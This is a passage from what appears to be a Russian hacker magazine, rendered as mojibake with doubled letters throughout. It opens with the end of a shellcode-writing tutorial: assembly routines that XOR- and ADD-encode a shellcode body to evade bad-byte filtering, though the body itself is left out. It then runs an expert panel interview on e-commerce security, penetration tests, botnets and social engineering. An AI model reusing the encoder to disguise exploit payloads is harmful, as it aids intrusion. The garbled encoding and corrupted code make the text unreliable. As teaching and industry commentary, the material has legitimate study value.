mov bbyte pptr[eax], bbl
inc eeax
inc eeax
cmp eeax, eedx
jng @@@2
ret
; çäåñü ìîæåò áûòü ïðîöåäóðà äëÿ ðàñ-
øèôðîâêè
; ÷åòíûõ áàéò (åñëè îíà íóæíà).
......
expl_start:
; òóò íàõîäèòñÿ òåëî shell-êîäà
......
expl_end ddd 00

Âòîðîå ïðàâèëî äîïóñêàåò âàðèàöèè.
Íàïðèìåð, ìîæíî íå øèôðîâàòü ñíà÷à-
ëà êàæäûé íå÷åòíûé, à ïîòîì êàæäûé
÷åòíûé áàéò, à ðàçäåëèòü òåëî shell-êî-
äà íà äâå ðàâíûå ïîëîâèíêè. Äëèíà
êàæäîé ïîëîâèíêè áóäåò ìåíüøå, ÷åì
255 áàéò, äàëüøå ñì. ïðàâèëî 1.

Íó, âîò è âñå. Òåïåðü òû íåìíîãî
çíàêîì ñ îñíîâíûìè ïðèíöèïàìè íà-
ïèñàíèÿ shell-êîäà è, äóìàþ, âîîðó-
æåííûé ýòèìè çíàíèÿìè, íå íàòê-
íåøüñÿ íà ñòàíäàðòíûå ãðàáëè shell-
êîäîïèñàòåëüñòâà :-). E
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Â áîëüøèí-
ñòâå ñëó÷à-
åâ íà ïðî-
öåäóðû
øèôðîâêè-
äåøèôðîâ-
êè ïîëêèëî-
áàéòà êîäà
õâàòàåò çà
ãëàçà ;-).

Èíñòðóêöèè
ADD è XOR
èñïîëüçóþò
â îñíîâíîì
èç-çà òîãî,
÷òî èõ
äåéñòâèå
îáðàòèìî.

ÏÈØÅÌ SHELL-ÊÎÄ!16 ÏÐÎËÎÃ

; eax - àäðåñ òåëà
; ecx - åãî äëèíà
crypt_exploit:
mov bbl, bbyte pptr[eax] ; ÷èòàåì î÷åðåäíîé áàéò òåëà â bl
xor bbl, XXOR_KEY; êñîðèì åãî íà XOR_KEY
add bbl, AADD_KEY; äîáàâëÿåì ê íåìó ADD_KEY
mov bbyte pptr[eax], bbl ; çàïèñûâàåì çàøèôðîâàííûé áàéò â òåëî
inc eeax ; ïåðåìåùàåì óêàçàòåëü íà ñëåäóþùèé áàéò òåëà
loop ccrypt_exploit; åñëè ecx íå ðàâíî 0 - íîâûé âèòîê öèêëà
ret

ÏÐÎÖÅÄÓÐÀ ØÈÔÐÎÂÀÍÈß Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ
ÈÍÑÒÐÓÊÖÈÉ ADD È XOR





Êàðîëèê Àíäðåé (andrusha@real.xakep.ru)

Í à âîïðîñû Ñïåöà îòâå÷àëè ñåêüþðèòè-ãóðó: ÄË - Äìèòðèé Ëåîíîâ, ÀË - Àëåêñåé Ëóêàöêèé, ÌÊ - Ìèõàèë Êàäåð,
ÈÌ - Èëüÿ Ìåäâåäîâñêèé, ÂÌ - Âëàäèñëàâ Ìÿñíÿíêèí, Î - offtopic, Ç - ÇÀÐÀÇÀ.

«ÍÅÓßÇÂÈÌÛÕ ÑÈÑÒÅÌ
ÍÅ ÑÓÙÅÑÒÂÓÅÒ!»
ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÎÂ

ïîñëåäíåå ââðåìÿ óó÷àñ-
òèëèñü ññëó÷àè ââçëîìà
èíòåðíåò-ññåðâåðîâ, ççà-
íèìàþùèõñÿ ýýëåêòðîí-
íîé êêîììåðöèåé. ÑÑîâ-

ìåñòèìû ëëè ââîîáùå ïïîíÿòèÿ
"eCommerce" èè ""áåçîïàñíîñòü"?

ÄÄËË:: Ïî÷åìó áû è íåò? Ýòî îáû÷íûå
ýëåêòðîííûå ñåðâèñû, â ïðèíöèïàõ
çàùèòû êîòîðûõ íåò íè÷åãî ýêñòðàîð-
äèíàðíîãî. Ïðîñòî â ýòîé îáëàñòè âñå
ïðîáëåìû ïðîÿâëÿþòñÿ ãîðàçäî îñò-
ðåå ïî ïðè÷èíå òîãî, ÷òî ðàáîòà èäåò ñ
"æèâûìè äåíüãàìè" è öåíà îøèáêè
äîñòàòî÷íî âûñîêà. Ê òîìó æå, â ïîñ-
ëåäíåå âðåìÿ ïðåäïî÷èòàþò àòàêî-
âàòü íå ñåðâåðû, à ïîëüçîâàòåëåé,
ïîñêîëüêó ñ ðîñòîì ïîïóëÿðíîñòè óñ-
ëóãè ñðåäíÿÿ êâàëèôèêàöèÿ ïîëüçî-
âàòåëåé ñíèæàåòñÿ è óëîâêè òèïà ïî-
ïóëÿðíîãî "ôèøèíãà" ïðîõîäÿò ãî-
ðàçäî ïðîùå.

Íàñêîëüêî ààêòóàëüíà ññåãîäíÿ ïïðîá-
ëåìà ññåòåâûõ ààòàê ääëÿ ññîâðåìåííîãî
áèçíåñà?

ÈÈÌÌ:: Äàâàéòå ïîñìîòðèì íà ýòó ïðîá-
ëåìó ïîä îïðåäåëåííûì óãëîì çðå-
íèÿ. Ýòî êàê àéñáåðã. Ê íàäâîäíîé
÷àñòè ìîæíî îòíåñòè âèðóñû è ñåòå-
âûå ÷åðâè - îíè íà âèäó. Óùåðá îò
íèõ äîñòàòî÷íî âåëèê, ïðîáëåìà âè-
ðóñîâ, áåçóñëîâíî, àêòóàëüíà äëÿ áå-
çîïàñíîñòè áèçíåñà. Íî ãîðàçäî
áîëüøèé âðåä íåñåò ïîäâîäíàÿ ÷àñòü
àéñáåðãà, êîòîðàÿ ñóëèò ñåðüåçíåé-
øèå ïðîáëåìû ñîâðåìåííîìó áèçíå-
ñó, - ÿ èìåþ â âèäó âçëîì êîðïîðàòèâ-
íûõ ðåñóðñîâ íà çàêàç. Ñåé÷àñ îá
ýòîì ãîâîðÿò ìàëî, íî ýòî âîâñå íå
îçíà÷àåò, ÷òî ïðîáëåìû íåò. Ðå÷ü
èäåò î òàêîì ýëåìåíòå êîíêóðåíòíîé
áîðüáû áîëüøîãî áèçíåñà, êàê îðãà-
íèçàöèÿ óäàëåííîé àòàêè äëÿ ïðî-
íèêíîâåíèÿ â êîðïîðàòèâíóþ ñåòü
êîíêóðåíòà ñ öåëüþ ïîëó÷åíèÿ òîé
èëè èíîé êîíôèäåíöèàëüíîé èíôîð-
ìàöèè. ß ïî ðîäó äåÿòåëüíîñòè ïîñòî-
ÿííî âñòðå÷àþñü ñ ïîäîáíûìè ôàêòà-
ìè, êîòîðûå ñåãîäíÿ ñòàëè ïðàêòè÷åñ-
êè íîðìîé â æåñòîêîé êîíêóðåíòíîé
áîðüáå. Ñåé÷àñ, êîãäà çàäà÷à óäàëåí-

íîãî ïðîíèêíîâåíèÿ ñèëüíî óïðîñòè-
ëàñü èç-çà èçáûòî÷íîé ôóíêöèîíàëü-
íîñòè ñîâðåìåííûõ ñèñòåì, ýòà ïðîá-
ëåìà ñòàëà ÷ðåçâû÷àéíî àêòóàëüíà
äëÿ áèçíåñà. Ìû ýòî íàáëþäàåì ïî
ýêñïîíåíöèàëüíîìó ðîñòó ÷èñëà
çàïðîñîâ â íàøó êîìïàíèþ äëÿ îð-
ãàíèçàöèè òåñòà íà ïðîíèêíîâåíèå ñ
öåëüþ ïðîâåðêè ðåàëüíîé çàùè-
ùåííîñòè ñåòåâûõ ðåñóðñîâ êîìïà-
íèè îò âîçìîæíîé àòàêè êîíêóðåí-
òîâ (èëè èíûõ çëîóìûøëåííèêîâ) èç
èíòåðíåòà.

Íàñêîëüêî ííàäåæíî ççàùèùåíû èèí-
ôîðìàöèîííûå ññèñòåìû êêîìïàíèé îîò
èíòåðíåò-ààòàê?

ÈÈÌÌ:: Îò ñêðèïò-êèääè - åùå êóäà íè
øëî. Îò îñòàëüíûõ, îñîáåííî ïðîôåñ-
ñèîíàëîâ âûñîêîãî êëàññà, - êðàéíå
ïëîõî. È ýòî ìû ðåãóëÿðíî íàáëþäàåì
ïðè ïðîâåäåíèè òåñòîâ íà ïðîíèêíî-
âåíèå, êîãäà ïðàêòè÷åñêè 100% íàøèõ
àòàê ñòàíîâÿòñÿ óñïåøíûìè. Îñíîâíàÿ
ïðîáëåìà ñîñòîèò â íåæåëàíèè áèçíå-
ñà ïîíèìàòü, ê êàêèì óáûòêàì âñå ýòî
ìîæåò ïðèâåñòè, è, êàê ñëåäñòâèå, - íå-
æåëàíèå âûäåëÿòü ñðåäñòâà íà áåçî-
ïàñíîñòü. Íî ñèòóàöèÿ àêòèâíî ìåíÿåò-
ñÿ ñ êàæäûì äíåì: âñå áîëüøå êîìïà-
íèé íà÷èíàþò óäåëÿòü ñåðüåçíîå âíè-
ìàíèå âîïðîñàì îáåñïå÷åíèÿ ÈÁ.

Çíàåòå ëëè ââû êêîìïàíèè, êêîòîðûå ííå-
óÿçâèìû ïïåðåä ààòàêàìè?

ÀÀËË:: Ê ñîæàëåíèþ (à ìîæåò, ê
ñ÷àñòüþ), òàêèõ êîìïàíèé íå ñóùåñò-
âóåò. Äàæå òå îðãàíèçàöèè, êîòîðûå
îáðàáàòûâàþò î÷åíü è î÷åíü êðèòè÷-
íóþ èíôîðìàöèþ è äîëæíû çàùè-
ùàòü åå îò õàêåðñêèõ âîçäåéñòâèé,
ïîñòîÿííî âçëàìûâàþòñÿ. Ïåíòàãîí,
ÍÀÑÀ, ïðàâèòåëüñòâî - âñå îíè ïîñò-
ðàäàëè îò ðóê çëîóìûøëåííèêîâ. Äà-
æå ëàáîðàòîðèè, çàíèìàþùèåñÿ
ÿäåðíûì âîîðóæåíèåì, è àòîìíûå
ýëåêòðîñòàíöèè è òî íå ðàç ñòàíîâè-
ëèñü æåðòâàìè õàêåðîâ. Íå âñå ãëàä-
êî è â ñòàíå êîìïàíèé, ïðåäëàãàþùèõ
ñâîè ïðîäóêòû è óñëóãè ïî çàùèòå
èíôîðìàöèè, êîòîðûå, êàçàëîñü áû,
äîëæíû òðåïåòíî îòíîñèòüñÿ ê ñâîåé
çàùèùåííîñòè. Èçâåñòíû ñëó÷àè
âçëîìà êîìïàíèé Symantec, eEye,
McAfee, eSafe è ò.ä. Íó î êàêîé òóò
íåïðèñòóïíîñòè ìîæíî ãîâîðèòü?

Êàêîâû òòåíäåíöèè ððàçâèòèÿ ññîâðå-
ìåííûõ ààòàê?

ÎÎ:: Îñíîâíîå îòëè÷èå ñîâðåìåííûõ
àòàê çàêëþ÷àåòñÿ â òîì, ÷òî îíè âîñò-
ðåáîâàíû ðûíêîì, êàê íè ñòðàííî ýòî
çâó÷èò. Åñòü ïîñòîÿííûé ñïðîñ, êîòî-
ðûé ìîæíî âûðàçèòü â äåíüãàõ, íà
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Äìèòðèé Ëåîíîâ (dl@bugtraq.ru) - ñîçäàòåëü
ïðîåêòà BugTraq.Ru (www.bugtraq.ru), ñîàâòîð
êíèã "Àòàêà íà Èíòåðíåò" è "Àòàêà èç
Èíòåðíåò", êàíäèäàò òåõíè÷åñêèõ íàóê, äîöåíò
ÐÃÓ íåôòè è ãàçà.

ÍÀØ ÝÊÑÏÅÐÒ

Ïðàêòè÷åñêè 100% íàøèõ àòàê ñòàíîâÿòñÿ
óñïåøíûìè.



âçëîìàííûå êîìïüþòåðû. Ïîýòîìó â
ïåðâóþ î÷åðåäü èìåþò ìåñòî ïðîêñè
è òðîÿíû äëÿ ðàññûëêè ñïàìà è êàð-
äåðñòâà. Â ñâÿçè ñ ýòèì àòàêè âñå
áîëüøå ïðèîáðåòàþò àâòîìàòè÷åñêèé
õàðàêòåð è, ñ óëó÷øåíèåì êà÷åñòâà
äîìàøíåãî èíòåðíåòà, íàïðàâëåíû íà
íàèìåíåå çàùèùåííóþ ÷àñòü ñåòè -
äîìàøíèõ ïîëüçîâàòåëåé. Â îáëàñòè
àòàê íà êîðïîðàòèâíûå ñåòè ïðîöâå-
òàåò ïðîìûøëåííûé øïèîíàæ. Ñ òåõ-
íè÷åñêîé òî÷êè çðåíèÿ, ðàçâèâàþòñÿ
äâà íàïðàâëåíèÿ - àòàêè íà êëèåí-
òñêèå êîìïüþòåðû è èñïîëüçîâàíèå
àëüòåðíàòèâíûõ ìåòîäîâ äîñòóïà â
ñåòü, òàêèõ, êàê VPN, Wi-Fi è ò.ï. Àòàêó-
þùèå âñå àêòèâíåå èñïîëüçóþò òå æå
ñðåäñòâà, ÷òî è ëèöà, çàùèùàþùèå
ñåòü: êðèïòîãðàôèþ, ñòåãàíîãðàôèþ,
âíåäðåíèå â TCB, òóííåëèðîâàíèå
òðàôèêà. ×åãî ÿ óæå äàâíî æäó, òàê
ýòî ìàññîâîãî âèðóñà, íàïèñàííîãî ñ
èñïîëüçîâàíèåì òåõíîëîãèé rootkit,
ïîäîáíîãî òîìó êîòîðûé îïèñàí â îä-
íîì ðàññêàçå
(http://www.securitylab.ru/43445.html). Èíòå-
ðåñíî áóäåò ïîñìîòðåòü íà ëèöà ïðî-
èçâîäèòåëåé àíòèâèðóñíûõ ïðîãðàìì.

ÂÂÌÌ:: Íà ìîé âçãëÿä, òåíäåíöèè ðàç-
âèòèÿ âñåõ òåõíîëîãèé ïðèìåðíî îäè-
íàêîâû: èñïîëüçîâàíèå ñòàðûõ íàðà-
áîòîê, óíèôèêàöèÿ è ñîêðàùåíèå
÷èñëà ðó÷íûõ îïåðàöèé çà ñ÷åò àâòî-
ìàòèçàöèè. Êàê ïðîèñõîäèò ñðåäíåñ-
òàòèñòè÷åñêèé âçëîì? Äëÿ íà÷àëà
âçëîìùèê èçó÷àåò (ïðè ïîìîùè ðàç-
ëè÷íûõ ñêàíåðîâ, ÷àùå âñåãî, nmap)
óñòàíîâëåííûé íà èíòåðåñóþùåì åãî
îáúåêòå ñîôò (îïåðàöèîíêà, îòêðû-
òûå ïîðòû, âåðñèè âèñÿùèõ íà íèõ
äåìîíîâ è ò.ï.) è èùåò ãîòîâûé
ýêñïëîèò ïîä íåãî. Ê ñ÷àñòüþ, äî-
âîëüíî áîëüøîé ïðîöåíò ñõîäèò ñ
äèñòàíöèè óæå íà ýòîì ýòàïå, ïîñ-
êîëüêó ëèáî íå íàõîäèò íóæíûé
ýêñïëîèò, ëèáî ïîïðîñòó íå ìîæåò
ñêîìïèëèðîâàòü åãî èç èñõîäíèêà. Åñ-
ëè âîñïîëüçîâàòüñÿ ñòàðîé íàðàáîò-
êîé íå óäàëîñü, òî îáëàäàþùèé ñîîò-
âåòñòâóþùåé êâàëèôèêàöèåé âçëîì-
ùèê ïîïûòàåòñÿ ñîçäàòü ñâîé ýêñïëî-
èò. Äëÿ ýòîãî íå íóæíî áûòü ãåíèåì -
ìåòîäèêà ïîèñêà buffer overflow äîñ-
òàòî÷íî ïîäðîáíî îïèñàíà (åñòü äàæå
ãîòîâûå óòèëèòû), ðàâíî êàê è ìåòî-
äèêà íàïèñàíèÿ shell-êîäîâ. Ìíå êà-

æåòñÿ, ÷òî ñëåäóþùèì "ýòàïîì ýâî-
ëþöèè" ñòàíåò ïîÿâëåíèå ñðåäñòâ òè-
ïà "exploit builder", ïðè ïîìîùè êîòî-
ðûõ ëþáîé æåëàþùèé ñìîæåò
êîíñòðóèðîâàòü ýêñïëîèòû ïîä ñâîè
íóæäû, îáëàäàÿ ñàìûìè ìèíèìàëüíû-
ìè ïîçíàíèÿìè â ïðîãðàììèðîâàíèè
è ñåòåâûõ òåõíîëîãèÿõ, êàê ýòî ïðîè-
çîøëî îòíîñèòåëüíî íåäàâíî ñ
êîíñòðóêòîðàìè âèðóñîâ. Ïðàâäà, òà-
êîé òåõíîëîãè÷åñêèé ïðîðûâ áóäåò
îáîþäîîñòðûì: åñëè ìåòîäèêà ïîèñêà
îøèáîê áóäåò ïîëíîñòüþ ôîðìàëèçî-
âàíà, åé ñ òåì æå óñïåõîì áóäóò ïîëü-
çîâàòüñÿ è ðàçðàáîò÷èêè. Äðóãèì íå
ìåíåå ïåðñïåêòèâíûì íàïðàâëåíèåì
ÿâëÿåòñÿ ñîöèàëüíàÿ èíæåíåðèÿ, èáî
ãëóïîñòü ÷åëîâå÷åñêàÿ è äîâåð÷è-
âîñòü íåèñòðåáèìû. Êðîìå òîãî, èñ-
ïîëüçîâàíèå ÷åëîâå÷åñêîãî ôàêòîðà
ïîçâîëÿåò èíîãäà ïðîíèêíóòü äàæå
çà î÷åíü õîðîøî íàñòðîåííûé fire-
wall, êîãäà ÷èñòî òåõíè÷åñêèå ìåòîäû
îêàçûâàþòñÿ áåññèëüíûìè.

ÈÈÌÌ:: Ïàðàäîêñ â òîì, ÷òî ñåãîäíÿ
ìíîãèå ñïåöèàëèñòû äî ñèõ ïîð íå çà-
ìå÷àþò, íàñêîëüêî èçìåíèëñÿ ìèð èí-
ôîðìàöèîííûõ òåõíîëîãèé. Ñåé÷àñ
ìû ïåðåæèâàåì ïîäëèííóþ ðåâîëþ-
öèþ â îáëàñòè íîâûõ òåõíîëîãèé ïðî-

íèêíîâåíèÿ â èíôîðìàöèîííûå ñèñ-
òåìû. ß ãîâîðþ î âîçìîæíîñòÿõ ïðî-
íèêíîâåíèÿ ÷åðåç ïî÷òîâûå ñèñòåìû
è ÷åðåç îáû÷íûé âåá-áðàóçåð (èç-çà
èçáûòî÷íîé ôóíêöèîíàëüíîñòè è
íåïðàâèëüíîé íàñòðîéêè ïîñëåäíèõ),
à òàêæå î ñîâðåìåííîé òåõíîëîãèè
ðåâåðñèâíûõ òðîÿíîâ - îá ýòîì íå-
äàâíî ïèñàëè â "Êîìïüþòåððå"
(http://www.dsec.ru/articles/iexploiter.php). Ñî-
âîêóïíîñòü ýòèõ ôàêòîðîâ ïîçâîëÿåò
ñåãîäíÿ îðãàíèçîâàòü óñïåøíóþ àòà-
êó íà êîðïîðàòèâíóþ ñåòü, êîòîðóþ
åùå íåñêîëüêî ëåò íàçàä ìîæíî áû-
ëî áû ñïðàâåäëèâî ñ÷èòàòü àáñîëþò-
íî çàùèùåííîé. Ñ ïðèìåðîì ïîäîá-
íîé, ñòàâøåé ñåãîäíÿ âîçìîæíîé àòà-
êè, êîòîðóþ ìû âûïîëíèëè â ïðîöåñ-
ñå òåñòîâ íà ïðîíèêíîâåíèå, ìîæíî
îçíàêîìèòüñÿ ïî ññûëêå
http://www.dsec.ru/services/pt_rep2.php. Äó-
ìàþ, ýòîò ïðèìåð ãîâîðèò ñàì çà ñåáÿ.
Ñåé÷àñ ìû ïåðåæèâàåì ìîìåíò, êîãäà
êîíöåïöèÿ öåíòðàëèçîâàííîé ñåòå-
âîé çàùèòû ïåðèìåòðà îò óäàëåííûõ
àòàê óìåðëà. Òî åñòü íàëè÷èå ìåæñå-
òåâîãî ýêðàíà ñòàëî íåîáõîäèìûì, íî
íå äîñòàòî÷íûì óñëîâèåì íàäåæíîé
ñåòåâîé çàùèòû îò âíåøíèõ âîçäåé-
ñòâèé. Ñåãîäíÿ ñâåðøèëîñü òî, î ÷åì
ìû äàâíî ïðåäóïðåæäàëè áèçíåñ, -
ïðèøëî âðåìÿ äëÿ çàùèòû îò èíòåð-
íåò-àòàê çàíèìàòüñÿ îáåñïå÷åíèåì áå-
çîïàñíîñòè êàæäîé ðàáî÷åé ñòàíöèè è
ó÷èòûâàòü ÷åëîâå÷åñêèé ôàêòîð ïðè
ðàçðàáîòêå ýôôåêòèâíîé ïîëèòèêè
èíôîðìàöèîííîé áåçîïàñíîñòè.

Ìåíÿåòñÿ ëëè îîáúåêò ààòàê?

ÇÇ:: Íåñîìíåííî. Äâà-òðè ãîäà íàçàä
ìèøåíüþ äëÿ áîëüøèíñòâà àòàê ñëó-
æèëè ñåòåâûå ñëóæáû, è öåëüþ àòà-
êè, êàê ïðàâèëî, áûëî ïîëó÷èòü ïîë-
íûé êîíòðîëü íàä óäàëåííîé ñèñòå-
ìîé. Ïðîáëåìû áåçîïàñíîñòè íà ñåáå
èñïûòûâàëè ïðåèìóùåñòâåííî êîðïî-
ðàòèâíûå ïîëüçîâàòåëè. Ñåãîäíÿ àòà-
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Èëüÿ Ìåäâåäîâñêèé - êàíäèäàò òåõíè÷åñêèõ
íàóê, äèðåêòîð êîìïàíèè Digital Security
(www.dsec.ru). Îäèí èç âåäóùèõ â Ðîññèè ýêñ-
ïåðòîâ ïî èíôîðìàöèîííîé áåçîïàñíîñòè. Àâ-
òîð ñåðèè êíèã "Àòàêà íà Èíòåðíåò" è ìíîãî-
÷èñëåííûõ ñòàòåé è ïóáëèêàöèé â ðàçëè÷íûõ
æóðíàëàõ. Âåäóùèé ðàçðàáîò÷èê ñèñòåìû àíà-
ëèçà è óïðàâëåíèÿ èíôîðìàöèîííûìè ðèñêàìè
ÃÐÈÔ (www.dsec.ru/soft/grif.php) è ñèñòåìû
óïðàâëåíèÿ ïîëèòèêîé èíôîðìàöèîííîé áåçîïàñíîñòè ÊÎÍÄÎÐ
(www.dsec.ru/soft/kondor.php).

ÍÀØ ÝÊÑÏÅÐÒ

Àëåêñåé Ëóêàöêèé (luka@infosec.ru) - ðóêîâî-
äèòåëü îòäåëà èíòåðíåò-ðåøåíèé êîìïàíèè "ÈÍ-
ÔÎÐÌÇÀÙÈÒÀ" (www.infosec.ru). Àâòîð êíèã
"Îáíàðóæåíèå àòàê", "Àòàêà èç Internet",
"Protect Your Information With Intrusion
Detection", à òàêæå áîëåå 200 ñòàòåé ïî èíôîð-
ìàöèîííîé áåçîïàñíîñòè. ßâëÿåòñÿ ìîäåðàòîðîì
ýõè RU.SECURITY â ñåòè FIDO è àâòîðîì êóðñîâ
"Ââåäåíèå â îáíàðóæåíèå àòàê", "Ñèñòåìû îáíàðóæåíèÿ àòàê" è
"Ðåàãèðîâàíèå íà àòàêè". Ñåðòèôèöèðîâàííûé èíñòðóêòîð ïî áåçî-
ïàñíîñòè êîìïàíèè Internet Security Systems (www.iss.net).

ÍÀØ ÝÊÑÏÅÐÒ

Ìû ïåðåæèâàåì ïîäëèííóþ ðåâîëþöèþ â
îáëàñòè íîâûõ òåõíîëîãèé ïðîíèêíîâåíèÿ

â èíôîðìàöèîííûå ñèñòåìû.



êè íà ñåòåâûå ñåðâèñû ñîñòàâëÿþò
ëèøü êðàéíå íåáîëüøîé ïðîöåíò,
ïðè÷åì ñðåäè íèõ áîëüøóþ ÷àñòü çà-
íèìàþò àòàêè íà îòêàç â îáñëóæèâà-
íèè. Áîëüøàÿ ÷àñòü èíöèäåíòîâ ñâÿ-
çàíà ñ êëèåíòñêèì ïðîãðàììíûì
îáåñïå÷åíèåì, è ñòðàäàþò, â îñíîâ-
íîì, íåáîëüøèå îðãàíèçàöèè è ÷àñò-
íûå ïîëüçîâàòåëè. Ñëåäóåò îòìåòèòü
òàêæå òî, ÷òî â áîëüøèíñòâå àòàê â
òîé èëè èíîé ñòåïåíè èñïîëüçóþòñÿ
ïðèåìû ñîöèàëüíîé èíæåíåðèè, ïðè-
÷åì èìåííî ýòè ïðèåìû ïîñòîÿííî ñî-
âåðøåíñòâóþòñÿ.

Ñ ÷÷åì ññâÿçàíà ññìåíà ííàïðàâëåííîñ-
òè ààòàê?

ÇÇ:: Ïðè÷èí íåñêîëüêî. Âî-ïåðâûõ, áå-
çîïàñíîñòè ñåðâåðíûõ ñèñòåì òðàäè-
öèîííî óäåëÿåòñÿ áîëüøå âíèìàíèÿ,
ïîýòîìó îíè íå ÿâëÿþòñÿ ñëàáûì
çâåíîì. Âî-âòîðûõ, ìåíÿåòñÿ ìîòèâà-
öèÿ àòàê. Ëþáèìûå Ãîëëèâóäîì àòàêè
- êâàëèôèöèðîâàííûé âçëîìùèê öå-
ëåíàïðàâëåííî ïîëó÷àåò äîñòóï ê çà-
ñåêðå÷åííûì äîêóìåíòàì êàêîé-ëèáî
êîìïàíèè - âñåãäà áûëè ðåäêè. Îáû÷-
íî áîëüøàÿ ÷àñòü àòàê ïðîâîäèëàñü
ëèáî èç ñïîðòèâíîãî èíòåðåñà, ëèáî
ïî êàêèì-òî ëè÷íûì ìîòèâàì. Ñåé÷àñ
ïîäàâëÿþùàÿ ÷àñòü àòàê ïðîâîäèòñÿ
ñ öåëüþ ïîëó÷åíèÿ ïðèáûëè. Âçëî-
ìàííûé êîìïüþòåð ìîæåò èñïîëüçî-
âàòüñÿ êàê óçåëîê â îãðîìíîé ñåòè,
ñîñòîÿùåé èç äåñÿòêîâ òûñÿ÷ "çîìáè-
ðîâàííûõ" ìàøèí, à ñåòü, â ñâîþ î÷å-
ðåäü, ïðèìåíÿåòñÿ äëÿ ðàññûëêè ñïà-
ìà, ðàçìåùåíèÿ íåëåãàëüíîãî êîí-
òåíòà (íàïðèìåð, ïîðíîãðàôèè) èëè
îðãàíèçàöèè ðàñïðåäåëåííûõ àòàê.
Ñóùåñòâóåò áîëüøîé ðûíîê ïîäîá-
íûõ "çîìáèðîâàííûõ" ìàøèí, ïðè÷åì
ñ î÷åíü áîëüøèì ñïðîñîì, òàê êàê
äëÿ ðàññûëêè ñïàìà, íàïðèìåð, íî-
âûå ìàøèíû íóæíû ïîñòîÿííî. Ìîãóò
áûòü è äðóãèå öåëè àòàêè - îò îòíîñè-
òåëüíî íåâèííûõ, íàïðèìåð, èçìåíå-
íèå ñòàðòîâîé è ïîèñêîâûõ ñòðàíèö
áðàóçåðà (äëÿ íàêðóòêè ïîñåùàåìîñ-
òè ñàéòà, âïàðèâàíèÿ ðåêëàìû è
ïðèâëå÷åíèÿ ïîñåòèòåëåé íà ïëàòíûå

ðåñóðñû), èçìåíåíèå íîìåðà ìîäåì-
íîãî ñîåäèíåíèÿ (ðàçâîä ïîëüçîâàòå-
ëÿ íà îïëàòó ìåæäóãîðîäíèõ ðàçãîâî-
ðîâ ïî ïëàòíîìó íîìåðó), äî õèùåíèÿ
èíôîðìàöèè ñ êðåäèòíûõ êàðòî÷êàõ.
Êëèåíòñêîå ïðîãðàììíîå îáåñïå÷å-
íèå ñòàíîâèòñÿ èäåàëüíîé ìèøåíüþ
äëÿ àòàêóþùèõ, òàê êàê èìååò øèðî-
êîå ðàñïðîñòðàíåíèå, ÷òî ïîçâîëÿåò
âçëàìûâàòü îãðîìíîå êîëè÷åñòâî ìà-
øèí, êîòîðûå çà÷àñòóþ åùå è áåçãðà-
ìîòíî íàñòðîåíû. Êñòàòè, âî ìíîãèõ
êîðïîðàöèÿõ ìåðû ïî îáåñïå÷åíèþ
áåçîïàñíîñòè êëèåíòñêèõ ñèñòåì ÷àñ-
òî îãðàíè÷èâàþòñÿ òîëüêî óñòàíîâ-
êîé àíòèâèðóñíîãî ÏÎ.

Âåäåò ëëè ýýòî êê ííåìèíóåìîìó êêîíöó
èíòåðíåòà, êêàê ïïðåäðåêàþò ííåêîòîðûå
ïðîôåññèîíàëû?

ÇÇ:: Ðàíî èëè ïîçäíî èíòåðíåòó â åãî
íûíåøíåì âèäå ïðèäåò êîíåö, íî
âðÿä ëè îñíîâíîé ïðè÷èíîé ñòàíóò
ñåòåâûå àòàêè. Ïðè÷èíîé ïîäîáíûõ
ïðîãíîçîâ ñòàëà èìåííî áëèçîðó-
êîñòü ïîðîäèâøèõ èõ, òàê êàê çà êî-
ëè÷åñòâåííûìè èçìåíåíèÿìè íå áû-
ëè çàìå÷åíû êà÷åñòâåííûå, î êîòî-
ðûõ èäåò ðå÷ü, - àòàêè îáðåëè ìîòè-
âàöèþ è íàøëè äëÿ ñåáÿ íîâóþ íè-

øó. Ñåé÷àñ "ðåñóðñ" ýòîé íèøè áëè-
çîê ê èñ÷åðïàíèþ. Êðîìå òîãî, ïðîèç-
âîäèòåëè êëèåíòñêîãî ïðîãðàììíîãî
îáåñïå÷åíèÿ â êîðíå èçìåíèëè ïîä-
õîä ê åãî ðàçðàáîòêå, ïîñòàâèâ òðå-
áîâàíèÿ áåçîïàñíîñòè íà îäíó èç
ïåðâûõ ïîçèöèé (äëÿ ñåðâåðíûõ ñèñ-
òåì òîæå íàáëþäàëîñü íå÷òî ïîäîá-
íîå âî âòîðîé ïîëîâèíå 90-õ), è,
ãëàâíîå, ñòàðàþòñÿ ñíÿòü ðåøåíèå
ýòîãî âîïðîñà ñ ïîëüçîâàòåëÿ (äàæå
äî êîíñåðâàòèâíîãî Microsoft íàêî-
íåö äîøëî, ÷òî íå òîëüêî ñðåäíèé
ïîëüçîâàòåëü, à äàæå ñðåäíèé àäìè-
íèñòðàòîð íå ìîæåò ðåøèòü âîïðîñ
îáåñïå÷åíèÿ áåçîïàñíîñòè â ñèëó
ñâîåé íåêîìïåòåíòíîñòè). Îäíàêî
ïðîéäåò åùå äîñòàòî÷íî ìíîãî âðå-
ìåíè, ïðåæäå ÷åì áóäóò îùóùàòüñÿ
ðåçóëüòàòû. Ðèñêíó ïðåäïîëîæèòü,
÷òî ñóùåñòâåííîãî ðîñòà êîëè÷åñòâà
èíöèäåíòîâ â áëèæàéøåå âðåìÿ íå
äîëæíî, ïðè ýòîì óæå ÷åðåç ãîä ìîæ-
íî îæèäàòü åãî ñíèæåíèÿ, à âîò ÷å-
ðåç òðè ãîäà ïðîèçîéäåò âîçâðàò íà
óðîâåíü äâóõãîäè÷íîé äàâíîñòè.

Ìîæíî ëëè ââûâåñòè èèç ññòðîÿ ââåñü èèí-
òåðíåò èèëè ááîëüøóþ ååãî ÷÷àñòü?

ÄÄËË:: Ñîáûòèÿ ïîñëåäíåãî ãîäà ïîêà-
çàëè, ÷òî òåõíè÷åñêè òàêîå âïîëíå
âîçìîæíî. Äðóãîå äåëî - âîïðîñ ìî-
òèâàöèè àòàêóþùèõ. Ê ïðèìåðó, åñëè
ãîâîðèòü î âèðóñàõ, òî Sasser è
MSBlast âïîëíå ìîãëè áû íàíåñòè
çíà÷èòåëüíî áîëüøèé óðîí, åñëè áû
îíè ñîäåðæàëè äåñòðóêòèâíûå ôóíê-
öèè. Íî íûíåøíèì âèðóñìåéêåðàì
óæå íå î÷åíü èíòåðåñíî çàíèìàòüñÿ
÷èñòûì äåñòðóêòèâîì, òåì áîëåå ÷òî
òàêèì îáðàçîì áóäåò óíè÷òîæàòüñÿ è
èõ ñðåäà ñóùåñòâîâàíèÿ. Âìåñòî âû-
